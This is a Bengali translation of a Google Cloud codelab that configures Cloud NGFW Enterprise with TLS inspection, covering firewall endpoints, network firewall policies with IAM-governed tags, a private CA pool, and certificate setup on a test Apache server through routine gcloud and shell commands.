ক্লাউড NGFW এন্টারপ্রাইজ কোডল্যাব [w/ TLS পরিদর্শন]

1. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হল একটি সম্পূর্ণ বিতরণ করা ফায়ারওয়াল পরিষেবা যা উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন, এবং আপনার Google ক্লাউড ওয়ার্কলোডগুলিকে অভ্যন্তরীণ এবং বাহ্যিক আক্রমণ থেকে রক্ষা করার জন্য ব্যাপক কভারেজ সহ।

ক্লাউড NGFW এর নিম্নলিখিত সুবিধা রয়েছে:

  • বিতরণকৃত ফায়ারওয়াল পরিষেবা: ক্লাউড এনজিএফডব্লিউ শূন্য-বিশ্বাস সুরক্ষা আর্কিটেকচার সক্ষম করতে প্রতিটি কাজের চাপে একটি রাষ্ট্রীয়, সম্পূর্ণভাবে বিতরণ করা হোস্ট-ভিত্তিক প্রয়োগ প্রদান করে।
  • সরলীকৃত কনফিগারেশন এবং স্থাপনা: ক্লাউড NGFW নেটওয়ার্ক এবং হায়ারার্কিক্যাল ফায়ারওয়াল নীতি প্রয়োগ করে যা একটি রিসোর্স হায়ারার্কি নোডের সাথে সংযুক্ত করা যেতে পারে। এই নীতিগুলি Google ক্লাউড সংস্থান অনুক্রম জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে৷
  • গ্রানুলার কন্ট্রোল এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল পলিসি এবং আইডেন্টিটি অ্যান্ড অ্যাকসেস ম্যানেজমেন্ট (IAM)-শাসিত ট্যাগগুলির সমন্বয় ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) জুড়ে একটি একক VM পর্যন্ত উত্তর-দক্ষিণ এবং পূর্ব-পশ্চিম উভয় ট্র্যাফিকের জন্য সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে। নেটওয়ার্ক এবং সংগঠন।

ক্লাউড NGFW নিম্নলিখিত স্তরগুলিতে উপলব্ধ:

  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল অপরিহার্য
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল স্ট্যান্ডার্ড
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল এন্টারপ্রাইজ

ক্লাউড NGFW এন্টারপ্রাইজ

ক্লাউড NGFW এন্টারপ্রাইজ ইনট্রুশন প্রিভেনশন সার্ভিস (IPS), একটি লেয়ার 7 ক্ষমতা, বিতরণ করা Google ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে যোগ করে। TLS পরিদর্শন TLS এনক্রিপ্ট করা ট্র্যাফিকের জন্য পরিদর্শনের অনুমতি দিতে সমর্থিত।

আপনি এখন আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনো পরিবর্তন না করেই দানাদার নিয়ন্ত্রণ সহ নির্ভরযোগ্য লেয়ার 7 নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) পরিদর্শন স্থাপন করতে পারেন।

IPS এর সাথে লেয়ার 7 ফায়ারওয়াল কন্ট্রোল সক্রিয় এবং স্থাপন করতে, আপনাকে নিম্নলিখিত কাজগুলি সম্পাদন করতে হবে:

  • Google ক্লাউড পরিচালিত জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন।
  • ঐচ্ছিকভাবে একটি TLS পরিদর্শন নীতি তৈরি করুন।
  • ঐচ্ছিকভাবে একটি ট্রাস্ট কনফিগ তৈরি করুন।
  • ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কগুলির সাথে এই শেষ পয়েন্টগুলিকে সংযুক্ত করুন যেখানে আপনার ক্লাউড NGFW এন্টারপ্রাইজ পরিষেবা প্রয়োজন৷
  • বিভিন্ন ট্র্যাফিক পথের জন্য হুমকি প্রতিরোধ প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল নীতি এবং ফায়ারওয়াল নিয়মগুলিতে সহজ পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল নীতি

নেটওয়ার্ক ফায়ারওয়াল নীতি ফায়ারওয়াল নিয়মগুলির জন্য একটি ধারক হিসাবে কাজ করে। একটি নেটওয়ার্ক ফায়ারওয়াল নীতিতে সংজ্ঞায়িত নিয়মগুলি VPC নেটওয়ার্কের সাথে সম্পর্কিত না হওয়া পর্যন্ত কোথাও প্রয়োগ করা হয় না৷ প্রতিটি VPC নেটওয়ার্ক এর সাথে যুক্ত একটি নেটওয়ার্ক ফায়ারওয়াল নীতি থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি ফায়ারওয়াল নিয়মে IAM-শাসিত ট্যাগ (বা শুধু ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগগুলি প্রতিস্থাপন করে এবং কাজের চাপে পরিচয় প্রদান করতে ব্যবহার করা যেতে পারে।

নেটওয়ার্ক জুড়ে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি শেয়ার করা এবং IAM-শাসিত ট্যাগের সাথে একীকরণ ফায়ারওয়ালের কনফিগারেশন এবং পরিচালনাকে ব্যাপকভাবে সহজ করে।

নেটওয়ার্ক ফায়ারওয়াল নীতির প্রবর্তনের সাথে, Google ক্লাউডের ফায়ারওয়াল নীতিগুলি এখন নিম্নলিখিত উপাদানগুলি নিয়ে গঠিত:

  1. হায়ারার্কিক্যাল ফায়ারওয়াল নীতি
  2. ভিপিসি ফায়ারওয়ালের নিয়ম
  3. নেটওয়ার্ক ফায়ারওয়াল নীতি ( গ্লোবাল এবং আঞ্চলিক )

হায়ারার্কিক্যাল ফায়ারওয়াল নীতিগুলি সংস্থান এবং ফোল্ডার নোডগুলিতে সংস্থান অনুক্রমের মধ্যে সমর্থিত, যেখানে VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি VPC স্তরে প্রয়োগ করা হয়। VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলির মধ্যে একটি বড় পার্থক্য হল VPC ফায়ারওয়াল নিয়মগুলি শুধুমাত্র একটি একক VPC নেটওয়ার্কে প্রয়োগ করা যেতে পারে, যেখানে নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি ব্যাচ আপডেটের মতো অন্যান্য সুবিধাগুলির মধ্যে একটি একক VPC বা VPC-এর গ্রুপের সাথে সংযুক্ত হতে পারে।

অবশেষে, আমাদের কাছে অন্তর্নিহিত ফায়ারওয়াল নিয়ম রয়েছে যা প্রতিটি ভিপিসি নেটওয়ার্কের সাথে আসে:

  • একটি প্রস্থান নিয়ম যার ক্রিয়া অনুমোদিত, গন্তব্য হল 0.0.0.0/0৷
  • একটি প্রবেশের নিয়ম যার ক্রিয়া অস্বীকার করা হয়, উত্স হল 0.0.0.0/0৷

ডিফল্টরূপে, প্রয়োগের ক্রম নিম্নলিখিত চিত্রে দেখানো হয়েছে:

21b3bcabc469ffe.png

দয়া করে মনে রাখবেন যে VPC ফায়ারওয়াল নিয়ম এবং গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতির মধ্যে এনফোর্সমেন্ট অর্ডার অদলবদল করা যেতে পারে। গ্রাহকরা যেকোন সময় একটি gcloud কমান্ডের মাধ্যমে এনফোর্সমেন্ট অর্ডার নির্দিষ্ট করতে পারেন।

ট্যাগ

নেটওয়ার্ক ফায়ারওয়াল নীতির নিয়মে সংহত নতুন ট্যাগগুলি হল Google ক্লাউড সংস্থান অনুক্রমের সংস্থা বা প্রকল্প-স্তরে সংজ্ঞায়িত মূল-মূল্যের জোড়া সংস্থান৷ এই ধরনের ট্যাগে আইএএম অ্যাক্সেস কন্ট্রোল থাকে যা ট্যাগে কে কী করতে পারে তা নির্দিষ্ট করে। আইডেনিটি অ্যান্ড অ্যাকসেস ম্যানেজমেন্ট (IAM) অনুমতি, উদাহরণস্বরূপ, কোন প্রিন্সিপাল ট্যাগগুলিতে মান নির্ধারণ করতে পারে এবং কোন প্রিন্সিপাল সম্পদগুলিতে ট্যাগ সংযুক্ত করতে পারে তা নির্দিষ্ট করার অনুমতি দেয়। যদি একটি নেটওয়ার্ক ফায়ারওয়াল নিয়ম একটি ট্যাগ উল্লেখ করে, এটি অবশ্যই একটি সংস্থানে প্রয়োগ করতে হবে, প্রয়োগের জন্য।

ট্যাগগুলি Google ক্লাউডের উত্তরাধিকার সংস্থান মডেলকে মেনে চলে, যার অর্থ ট্যাগ এবং তাদের মানগুলি তাদের পিতামাতার কাছ থেকে শ্রেণিবিন্যাস জুড়ে দেওয়া হয়৷ ফলস্বরূপ, ট্যাগগুলি এক জায়গায় তৈরি করা যেতে পারে এবং তারপরে অন্যান্য ফোল্ডার এবং প্রকল্পগুলি সমস্ত রিসোর্স ক্রমানুসারে ব্যবহার করতে পারে। ট্যাগ এবং অ্যাক্সেস সীমাবদ্ধতার বিশদ বিবরণের জন্য এই পৃষ্ঠাটি দেখুন।

ট্যাগগুলিকে নেটওয়ার্ক ট্যাগের সাথে বিভ্রান্ত করা উচিত নয়। পরেরটি হল স্ট্রিং যা কম্পিউট ইঞ্জিন ইনস্ট্যান্সে যোগ করা যেতে পারে; তারা দৃষ্টান্তের সাথে যুক্ত থাকে এবং দৃষ্টান্তটি বাতিল হয়ে গেলে অদৃশ্য হয়ে যায়। ভিপিসি ফায়ারওয়ালের নিয়মে নেটওয়ার্ক ট্যাগ থাকতে পারে, কিন্তু যেহেতু সেগুলিকে ক্লাউড রিসোর্স হিসেবে গণ্য করা হয় না, সেগুলি আইএএম অ্যাক্সেস নিয়ন্ত্রণের অধীন নয়।

নোট করুন যে ট্যাগ এবং IAM-শাসিত ট্যাগগুলি এই নথিতে বিনিময়যোগ্যভাবে ব্যবহার করা হচ্ছে৷

আপনি কি নির্মাণ করবেন

এই কোডল্যাবের জন্য একটি একক প্রকল্প এবং একটি VPC নেটওয়ার্ক তৈরি করার পাশাপাশি বেশ কয়েকটি নেটওয়ার্ক এবং সুরক্ষা সংস্থান পরিচালনা করার ক্ষমতা প্রয়োজন। এটি প্রদর্শন করবে কিভাবে ক্লাউড NGFW এন্টারপ্রাইজ IPS কার্যকারিতা প্রদান করতে পারে:

  • TLS পরিদর্শন সহ উত্তরমুখী ইন্টারনেট প্রবাহ পরিদর্শন করা
  • TLS পরিদর্শনের সাথে ইন্ট্রা-ভিপিসি প্রবাহ [পূর্ব-পশ্চিম] পরিদর্শন করা

5-টুপল (সোর্স আইপি, গন্তব্য আইপি, প্রোটোকল, সোর্স পোর্ট, গন্তব্য পোর্ট) এবং ট্যাগ সহ ক্লাউড ফায়ারওয়াল ম্যাচিং প্যারামিটার ব্যবহার করে পরিদর্শন করা প্রবাহগুলি নির্বাচন করা হবে।

3d0f288d3b92a295.png

নেটওয়ার্ক ফায়ারওয়াল নীতি নিয়মবেসের শেষ অবস্থা নীচের টেবিলের মতো হবে:

অগ্রাধিকার

দিকনির্দেশনা

টার্গেট

উৎস

গন্তব্য

অ্যাকশন

টাইপ

100

প্রবেশ

সার্ভার_ট্যাগ

স্বাস্থ্য-পরীক্ষা

যে কোন

অনুমতি দিন

অপরিহার্য

200

প্রবেশ

ক্লায়েন্ট_ট্যাগ, সার্ভার_ট্যাগ

আইএপি

যে কোন

অনুমতি দিন

অপরিহার্য

800

প্রবেশ

সার্ভার_ট্যাগ

10.0.0.0/24

10.0.0.0/24

L7 পরিদর্শন

এন্টারপ্রাইজ

850

প্রস্থান

ক্লায়েন্ট_ট্যাগ

যে কোন

10.0.0.0/24

অনুমতি দিন

অপরিহার্য

900

প্রস্থান

ক্লায়েন্ট_ট্যাগ

যে কোন

যে কোন

L7 পরিদর্শন

এন্টারপ্রাইজ

আপনি কি শিখবেন

  • কীভাবে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করবেন।
  • নেটওয়ার্ক ফায়ারওয়াল নীতির সাথে ট্যাগগুলি কীভাবে তৈরি এবং ব্যবহার করবেন।
  • কীভাবে ক্লাউড এনজিএফডাব্লু এন্টারপ্রাইজ কনফিগার করবেন এবং টিএলএস পরিদর্শনের মাধ্যমে ব্যবহার করবেন।

আপনি কি প্রয়োজন হবে

  • গুগল ক্লাউড প্রকল্প।
  • দৃষ্টান্ত স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান।
  • ভিপিসি ফায়ারওয়াল কনফিগারেশন জ্ঞান।

2. আপনি শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেল-এ gcloud কনফিগারেশন বাস্তবায়নে সহায়তা করার জন্য $variables ব্যবহার করে।

ক্লাউড শেলে, প্রয়োজন অনুসারে বন্ধনীর মধ্যে তথ্য প্রতিস্থাপন করে নীচের কমান্ডগুলি চালান:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. API সক্রিয় করুন৷

আপনি যদি তা না করে থাকেন তাহলে APIs সক্ষম করুন:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরিতে প্রায় 20 মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং শেষ পয়েন্ট তৈরি করার সময় বেস সেটআপ সমান্তরালভাবে করা যেতে পারে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

নিশ্চিত করুন যে সম্পদগুলি সফলভাবে তৈরি করা হয়েছে:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট (উল্লেখ্য যে আউটপুট বিন্যাসটি ব্যবহৃত ক্লায়েন্ট অনুসারে পরিবর্তিত হতে পারে:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

এন্ডপয়েন্ট তৈরি হচ্ছে কিনা নিশ্চিত করতে নিচের কমান্ডটি চালান ( CREATING )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে আউটপুট বিন্যাস ব্যবহৃত ক্লায়েন্ট অনুযায়ী পরিবর্তিত হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

ঐচ্ছিকভাবে, আরও বিশদ পেতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

সৃষ্টি প্রক্রিয়া প্রায় 20 মিনিট সময় নেয়। সমান্তরালভাবে প্রয়োজনীয় সংস্থান তৈরি করতে বেস সেটআপ বিভাগে এগিয়ে যান।

5. বেস সেটআপ

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

মেঘ NAT

ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

দৃষ্টান্ত

ক্লায়েন্ট এবং ওয়েব সার্ভার উদাহরণ তৈরি করুন:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

প্রকল্প-স্তরের ট্যাগ

প্রয়োজনে ব্যবহারকারীকে ট্যাগঅ্যাডমিন অনুমতি বরাদ্দ করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

প্রকল্প-স্তরের ট্যাগ কী এবং মান তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

উদাহরণগুলিতে ট্যাগগুলি আবদ্ধ করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি

একটি বিশ্বব্যাপী নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

স্বাস্থ্য-পরীক্ষা এবং পরিচয়-সচেতন প্রক্সি রেঞ্জ থেকে ট্রাফিকের অনুমতি দেওয়ার জন্য প্রয়োজনীয় ক্লাউড ফায়ারওয়াল প্রয়োজনীয় নিয়মগুলি তৈরি করুন:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

নির্দিষ্ট রেঞ্জ থেকে পূর্ব-পশ্চিম / ইন্ট্রা-সাবনেট ট্রাফিক প্রবেশের অনুমতি দিতে প্রয়োজনীয় ক্লাউড ফায়ারওয়াল নিয়ম তৈরি করুন (ক্লাউড NGFW এন্টারপ্রাইজ w/ TLS পরিদর্শন সক্ষম করতে এই নিয়মগুলি আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

ভিপিসি নেটওয়ার্কের সাথে ক্লাউড ফায়ারওয়াল নীতি সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন

আপনি যদি এখনও এটি না করেন এবং/অথবা স্ক্রিপ্ট পদ্ধতি পছন্দ করেন তবে পরিবেশের ভেরিয়েবলগুলিকে সংজ্ঞায়িত করুন।

নিশ্চিত করুন যে ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে। রাজ্যটিকে সক্রিয় হিসাবে দেখানো হলেই কেবল এগিয়ে যান (সৃষ্টির সময় প্রত্যাশিত অবস্থা তৈরি হচ্ছে):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে আউটপুট বিন্যাস ব্যবহৃত ক্লায়েন্ট অনুযায়ী পরিবর্তিত হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিশদ পেতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

অ্যাসোসিয়েশন প্রক্রিয়াটি প্রায় 10 মিনিট সময় নেয়। রাষ্ট্রটি সক্রিয় হিসাবে দেখানো হলে শুধুমাত্র TLS বিভাগে যান (সৃষ্টির সময় প্রত্যাশিত অবস্থা তৈরি হচ্ছে):

gcloud network-security firewall-endpoint-associations list

সম্পূর্ণ হলে প্রত্যাশিত আউটপুট:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিশদ পেতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS সম্পদ কনফিগার করুন

একটি CA পুল তৈরি করুন। NGFW এন্টারপ্রাইজের জন্য আমরা যে রুট CA শংসাপত্র তৈরি করি তা রাখতে এই সংস্থানটি ব্যবহার করা হবে।

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

রুট CA তৈরি করুন। এটি হল CA শংসাপত্র যা NGFW এন্টারপ্রাইজের মাধ্যমে অনুরোধের জন্য অতিরিক্ত শংসাপত্রে স্বাক্ষর করার জন্য ব্যবহার করা হবে।

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

যদি আপনাকে নীচের বার্তাটি দিয়ে অনুরোধ করা হয়, তাহলে উত্তর দিন :

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

একটি পরিষেবা অ্যাকাউন্ট তৈরি করুন। এই পরিষেবা অ্যাকাউন্টটি NGFW এন্টারপ্রাইজের জন্য শংসাপত্রের অনুরোধ করার জন্য ব্যবহার করা হবে:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

পরিষেবা অ্যাকাউন্টের জন্য IAM অনুমতি সেট করুন:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS নীতি YAML ফাইল তৈরি করুন। এই ফাইলটিতে নির্দিষ্ট সংস্থান সম্পর্কে তথ্য থাকবে:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS পরিদর্শন নীতি আমদানি করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS সক্ষম করতে এন্ডপয়েন্ট অ্যাসোসিয়েশন আপডেট করুন:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA শংসাপত্র পান এবং এটি ক্লায়েন্টের CA স্টোরে যোগ করুন:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

ক্লায়েন্টের কাছে CA শংসাপত্র স্থানান্তর করুন:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM-এ SSH, CA শংসাপত্রটিকে /usr/local/share/ca-certificates-এ সরান এবং CA স্টোর আপডেট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

ক্লাউডশেলে ফিরে যান।

সার্ভার শংসাপত্র স্বাক্ষর প্রক্রিয়া:

ক্লাউডশেলে, পিপ কমান্ড ব্যবহার করে পাইকা ক্রিপ্টোগ্রাফি লাইব্রেরি ইনস্টল করুন:

pip install --user "cryptography>=2.2.0"

Google Cloud SDK-কে Pyca ক্রিপ্টোগ্রাফি লাইব্রেরি ব্যবহার করার অনুমতি দিতে, আপনাকে অবশ্যই সাইট প্যাকেজগুলি সক্ষম করতে হবে৷

export CLOUDSDK_PYTHON_SITEPACKAGES=1

সার্ভার সার্টিফিকেট তৈরি করুন:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

এটি ক্লাউডশেলে একটি cert.pem এবং key.pem ফাইল তৈরি করবে। এর পরে, সার্ভারে শংসাপত্র এবং কী স্থানান্তর করুন।

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Apache এর জন্য সার্টিফিকেট বিশদ আপডেট করতে সার্ভারে SSH:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

শংসাপত্র এবং কী নির্দিষ্ট ফোল্ডারে সরান:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

স্বাক্ষরিত শংসাপত্র ব্যবহার করতে ssl কনফিগারেশন আপডেট করুন:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache পুনরায় চালু করুন:

sudo systemctl restart apache2

Apache স্থিতি যাচাই করুন:

sudo systemctl status apache2

এটি সক্রিয় (চলমান) হওয়া উচিত।

VM থেকে প্রস্থান করুন এবং ক্লাউডশেল চালিয়ে যান।

